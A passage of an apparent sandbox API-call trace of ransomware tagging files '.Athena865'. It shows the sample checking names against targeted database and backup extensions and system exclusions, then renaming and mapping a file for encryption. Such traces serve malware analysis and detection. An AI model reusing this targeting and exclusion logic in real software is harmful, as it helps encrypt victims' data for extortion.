returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0062.185] lstrlenW (lpString="mud") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0062.185] lstrlenW (lpString="mwb") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0062.185] lstrlenW (lpString="myd") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0062.185] lstrlenW (lpString="ndf") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0062.186] lstrlenW (lpString="nnt") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0062.186] lstrlenW (lpString="nrmlib") returned 6 [0062.186] lstrcmpiW (lpString1="nX.dll", lpString2="nrmlib") returned 1 [0062.186] lstrlenW (lpString="ns2") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0062.186] lstrlenW (lpString="ns3") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0062.186] lstrlenW (lpString="ns4") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0062.186] lstrlenW (lpString="nsf") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0062.186] lstrlenW (lpString="nv") returned 2 [0062.186] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0062.186] lstrlenW (lpString="nv2") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0062.186] lstrlenW (lpString="nwdb") returned 4 [0062.186] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0062.186] lstrlenW (lpString="nyf") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0062.186] lstrlenW (lpString="odb") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0062.186] lstrlenW (lpString="odb") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0062.186] lstrlenW (lpString="oqy") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0062.186] lstrlenW (lpString="ora") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0062.186] lstrlenW (lpString="orx") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0062.186] lstrlenW (lpString="owc") returned 3 [0062.186] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0062.186] lstrlenW (lpString="p96") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0062.187] lstrlenW (lpString="p97") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0062.187] lstrlenW (lpString="pan") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0062.187] lstrlenW (lpString="pdb") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0062.187] lstrlenW (lpString="pdm") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0062.187] lstrlenW (lpString="pnz") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0062.187] lstrlenW (lpString="qry") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0062.187] lstrlenW (lpString="qvd") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0062.187] lstrlenW (lpString="rbf") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0062.187] lstrlenW (lpString="rctd") returned 4 [0062.187] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0062.187] lstrlenW (lpString="rod") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0062.187] lstrlenW (lpString="rodx") returned 4 [0062.187] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0062.187] lstrlenW (lpString="rpd") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0062.187] lstrlenW (lpString="rsd") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0062.187] lstrlenW (lpString="sas7bdat") returned 8 [0062.187] lstrcmpiW (lpString1="GenX.dll", lpString2="sas7bdat") returned -1 [0062.187] lstrlenW (lpString="sbf") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0062.187] lstrlenW (lpString="scx") returned 3 [0062.187] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0062.188] lstrlenW (lpString="sdb") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0062.188] lstrlenW (lpString="sdc") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0062.188] lstrlenW (lpString="sdf") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0062.188] lstrlenW (lpString="sis") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0062.188] lstrlenW (lpString="spq") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0062.188] lstrlenW (lpString="te") returned 2 [0062.188] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0062.188] lstrlenW (lpString="teacher") returned 7 [0062.188] lstrcmpiW (lpString1="enX.dll", lpString2="teacher") returned -1 [0062.188] lstrlenW (lpString="tmd") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0062.188] lstrlenW (lpString="tps") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0062.188] lstrlenW (lpString="trc") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0062.188] lstrlenW (lpString="trc") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0062.188] lstrlenW (lpString="trm") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0062.188] lstrlenW (lpString="udb") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0062.188] lstrlenW (lpString="udl") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0062.188] lstrlenW (lpString="usr") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0062.188] lstrlenW (lpString="v12") returned 3 [0062.188] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0062.189] lstrlenW (lpString="vis") returned 3 [0062.189] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0062.189] lstrlenW (lpString="vpd") returned 3 [0062.189] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0062.189] lstrlenW (lpString="vvv") returned 3 [0062.189] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0062.189] lstrlenW (lpString="wdb") returned 3 [0062.189] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0062.189] lstrlenW (lpString="wmdb") returned 4 [0062.189] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0062.189] lstrlenW (lpString="wrk") returned 3 [0062.189] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0062.189] lstrlenW (lpString="xdb") returned 3 [0062.189] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0062.189] lstrlenW (lpString="xld") returned 3 [0062.189] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0062.189] lstrlenW (lpString="xmlff") returned 5 [0062.189] lstrcmpiW (lpString1="X.dll", lpString2="xmlff") returned -1 [0062.189] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.Athena865") returned 84 [0062.189] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.athena865"), dwFlags=0x1) returned 1 [0062.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0062.190] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1463568) returned 1 [0062.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0062.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0062.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0062.191] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0062.191] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0062.191] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.192] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x165810, lpName=0x0) returned 0x17c [0062.193] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x165810) returned 0x2d50000 [0062.256] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0062.257] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0062.257] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0062.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0062.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0062.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0062.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0062.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0062.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0062.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0062.258] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0062.270] CloseHandle (hObject=0x17c) returned 1 [0062.270] CloseHandle (hObject=0x154) returned 1 [0062.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0062.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0062.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0062.277] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0062.277] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0062.277] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0062.277] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".") returned 1 [0062.277] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="..") returned 1 [0062.277] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="windows") returned -1 [0062.277] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootmgr") returned 1 [0062.277] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="temp") returned -1 [0062.288] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="pagefile.sys") returned 1 [0062.288] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot") returned 1 [0062.288] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ids.txt") returned 1 [0062.288] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntuser.dat") returned 1 [0062.288] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="perflogs") returned 1 [0062.288] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="MSBuild") returned 1 [0062.288] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0062.288] lstrcpyW (in: lpString1=0x241e8c6, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0062.288] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0062.288] lstrlenW (lpString="Athena865") returned 9 [0062.288] lstrcmpiW (lpString1="ce.xrm-ms", lpString2="Athena865") returned 1 [0062.288] lstrlenW (lpString=".dll") returned 4 [0062.288] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".dll") returned 1 [0062.288] lstrlenW (lpString=".lnk") returned 4 [0062.288] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".lnk") returned 1 [0062.289] lstrlenW (lpString=".ini") returned 4 [0062.289] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".ini") returned 1 [0062.289] lstrlenW (lpString=".sys") returned 4 [0062.289] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".sys") returned 1 [0062.289] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0062.289] lstrlenW (lpString="bak") returned 3 [0062.289] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0062.289] lstrlenW (lpString="ba_") returned 3 [0062.289] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0062.289] lstrlenW (lpString="dbb") returned 3 [0062.289] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0062.289] lstrlenW (lpString="vmdk") returned 4 [0062.289] lstrcmpiW (lpString1="m-ms", lpString2="vmdk") returned -1 [0062.289] lstrlenW (lpString="rar") returned 3 [0062.289] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0062.289] lstrlenW (lpString="zip") returned 3 [0062.289] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0062.289] lstrlenW (lpString="tgz") returned 3 [0062.289] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0062.289] lstrlenW (lpString="vbox") returned 4 [0062.289] lstrcmpiW (lpString1="m-ms", lpString2="vbox") returned -1 [0062.289] lstrlenW (lpString="vdi") returned 3 [0062.289] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0062.289] lstrlenW (lpString="vhd") returned 3 [0062.289] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0062.289] lstrlenW (lpString="vhdx") returned 4 [0062.289] lstrcmpiW (lpString1="m-ms", lpString2="vhdx") returned -1 [0062.289] lstrlenW (lpString="avhd") returned 4 [0062.289] lstrcmpiW (lpString1="m-ms", lpString2="avhd") returned 1 [0062.289] lstrlenW (lpString="db") returned 2 [0062.289] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0062.289] lstrlenW (lpString="db2") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0062.290] lstrlenW (lpString="db3") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0062.290] lstrlenW (lpString="dbf") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0062.290] lstrlenW (lpString="mdf") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0062.290] lstrlenW (lpString="mdb") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0062.290] lstrlenW (lpString="sql") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0062.290] lstrlenW (lpString="sqlite") returned 6 [0062.290] lstrcmpiW (lpString1="xrm-ms", lpString2="sqlite") returned 1 [0062.290] lstrlenW (lpString="sqlite3") returned 7 [0062.290] lstrcmpiW (lpString1=".xrm-ms", lpString2="sqlite3") returned -1 [0062.290] lstrlenW (lpString="sqlitedb") returned 8 [0062.290] lstrcmpiW (lpString1="e.xrm-ms", lpString2="sqlitedb") returned -1 [0062.290] lstrlenW (lpString="xml") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0062.290] lstrlenW (lpString="$er") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0062.290] lstrlenW (lpString="4dd") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0062.290] lstrlenW (lpString="4dl") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0062.290] lstrlenW (lpString="^^^") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0062.290] lstrlenW (lpString="abs") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0062.290] lstrlenW (lpString="abx") returned 3 [0062.290] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0062.290] lstrlenW (lpString="accdb") returned 5 [0062.291] lstrcmpiW (lpString1="rm-ms", lpString2="accdb") returned 1 [0062.291] lstrlenW (lpString="accdc") returned 5 [0062.291] lstrcmpiW (lpString1="rm-ms", lpString2="accdc") returned 1 [0062.291] lstrlenW (lpString="accde") returned 5 [0062.291] lstrcmpiW (lpString1="rm-ms", lpString2="accde") returned 1 [0062.291] lstrlenW (lpString="accdr") returned 5 [0062.291] lstrcmpiW (lpString1="rm-ms", lpString2="accdr") returned 1 [0062.291] lstrlenW (lpString="accdt") returned 5 [0062.291] lstrcmpiW (lpString1="rm-ms", lpString2="accdt") returned 1 [0062.291] lstrlenW (lpString="accdw") returned 5 [0062.291] lstrcmpiW (lpString1="rm-ms", lpString2="accdw") returned 1 [0062.291] lstrlenW (lpString="accft") returned 5 [0062.291] lstrcmpiW (lpString1="rm-ms", lpString2="accft") returned 1 [0062.291] lstrlenW (lpString="adb") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0062.291] lstrlenW (lpString="adb") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0062.291] lstrlenW (lpString="ade") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0062.291] lstrlenW (lpString="adf") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0062.291] lstrlenW (lpString="adn") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0062.291] lstrlenW (lpString="adp") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0062.291] lstrlenW (lpString="alf") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0062.291] lstrlenW (lpString="ask") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0062.291] lstrlenW (lpString="btr") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0062.291] lstrlenW (lpString="cat") returned 3 [0062.291] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0062.291] lstrlenW (lpString="cdb") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0062.292] lstrlenW (lpString="ckp") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0062.292] lstrlenW (lpString="cma") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0062.292] lstrlenW (lpString="cpd") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0062.292] lstrlenW (lpString="dacpac") returned 6 [0062.292] lstrcmpiW (lpString1="xrm-ms", lpString2="dacpac") returned 1 [0062.292] lstrlenW (lpString="dad") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0062.292] lstrlenW (lpString="dadiagrams") returned 10 [0062.292] lstrcmpiW (lpString1="ice.xrm-ms", lpString2="dadiagrams") returned 1 [0062.292] lstrlenW (lpString="daschema") returned 8 [0062.292] lstrcmpiW (lpString1="e.xrm-ms", lpString2="daschema") returned 1 [0062.292] lstrlenW (lpString="db-journal") returned 10 [0062.292] lstrcmpiW (lpString1="ice.xrm-ms", lpString2="db-journal") returned 1 [0062.292] lstrlenW (lpString="db-shm") returned 6 [0062.292] lstrcmpiW (lpString1="xrm-ms", lpString2="db-shm") returned 1 [0062.292] lstrlenW (lpString="db-wal") returned 6 [0062.292] lstrcmpiW (lpString1="xrm-ms", lpString2="db-wal") returned 1 [0062.292] lstrlenW (lpString="dbc") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0062.292] lstrlenW (lpString="dbs") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0062.292] lstrlenW (lpString="dbt") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0062.292] lstrlenW (lpString="dbv") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0062.292] lstrlenW (lpString="dbx") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0062.292] lstrlenW (lpString="dcb") returned 3 [0062.292] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0062.293] lstrlenW (lpString="dct") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1 [0062.293] lstrlenW (lpString="dcx") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1 [0062.293] lstrlenW (lpString="ddl") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1 [0062.293] lstrlenW (lpString="dlis") returned 4 [0062.293] lstrcmpiW (lpString1="m-ms", lpString2="dlis") returned 1 [0062.293] lstrlenW (lpString="dp1") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1 [0062.293] lstrlenW (lpString="dqy") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1 [0062.293] lstrlenW (lpString="dsk") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1 [0062.293] lstrlenW (lpString="dsn") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1 [0062.293] lstrlenW (lpString="dtsx") returned 4 [0062.293] lstrcmpiW (lpString1="m-ms", lpString2="dtsx") returned 1 [0062.293] lstrlenW (lpString="dxl") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1 [0062.293] lstrlenW (lpString="eco") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1 [0062.293] lstrlenW (lpString="ecx") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1 [0062.293] lstrlenW (lpString="edb") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1 [0062.293] lstrlenW (lpString="epim") returned 4 [0062.293] lstrcmpiW (lpString1="m-ms", lpString2="epim") returned 1 [0062.293] lstrlenW (lpString="fcd") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1 [0062.293] lstrlenW (lpString="fdb") returned 3 [0062.293] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1 [0062.293] lstrlenW (lpString="fic") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1 [0062.294] lstrlenW (lpString="flexolibrary") returned 12 [0062.294] lstrcmpiW (lpString1="ffice.xrm-ms", lpString2="flexolibrary") returned -1 [0062.294] lstrlenW (lpString="fm5") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1 [0062.294] lstrlenW (lpString="fmp") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1 [0062.294] lstrlenW (lpString="fmp12") returned 5 [0062.294] lstrcmpiW (lpString1="rm-ms", lpString2="fmp12") returned 1 [0062.294] lstrlenW (lpString="fmpsl") returned 5 [0062.294] lstrcmpiW (lpString1="rm-ms", lpString2="fmpsl") returned 1 [0062.294] lstrlenW (lpString="fol") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1 [0062.294] lstrlenW (lpString="fp3") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1 [0062.294] lstrlenW (lpString="fp4") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1 [0062.294] lstrlenW (lpString="fp5") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1 [0062.294] lstrlenW (lpString="fp7") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1 [0062.294] lstrlenW (lpString="fpt") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1 [0062.294] lstrlenW (lpString="frm") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1 [0062.294] lstrlenW (lpString="gdb") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0062.294] lstrlenW (lpString="gdb") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0062.294] lstrlenW (lpString="grdb") returned 4 [0062.294] lstrcmpiW (lpString1="m-ms", lpString2="grdb") returned 1 [0062.294] lstrlenW (lpString="gwi") returned 3 [0062.294] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1 [0062.295] lstrlenW (lpString="hdb") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1 [0062.295] lstrlenW (lpString="his") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1 [0062.295] lstrlenW (lpString="ib") returned 2 [0062.295] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1 [0062.295] lstrlenW (lpString="idb") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1 [0062.295] lstrlenW (lpString="ihx") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1 [0062.295] lstrlenW (lpString="itdb") returned 4 [0062.295] lstrcmpiW (lpString1="m-ms", lpString2="itdb") returned 1 [0062.295] lstrlenW (lpString="itw") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1 [0062.295] lstrlenW (lpString="jet") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1 [0062.295] lstrlenW (lpString="jtx") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1 [0062.295] lstrlenW (lpString="kdb") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1 [0062.295] lstrlenW (lpString="kexi") returned 4 [0062.295] lstrcmpiW (lpString1="m-ms", lpString2="kexi") returned 1 [0062.295] lstrlenW (lpString="kexic") returned 5 [0062.295] lstrcmpiW (lpString1="rm-ms", lpString2="kexic") returned 1 [0062.295] lstrlenW (lpString="kexis") returned 5 [0062.295] lstrcmpiW (lpString1="rm-ms", lpString2="kexis") returned 1 [0062.295] lstrlenW (lpString="lgc") returned 3 [0062.295] lstrcmpiW 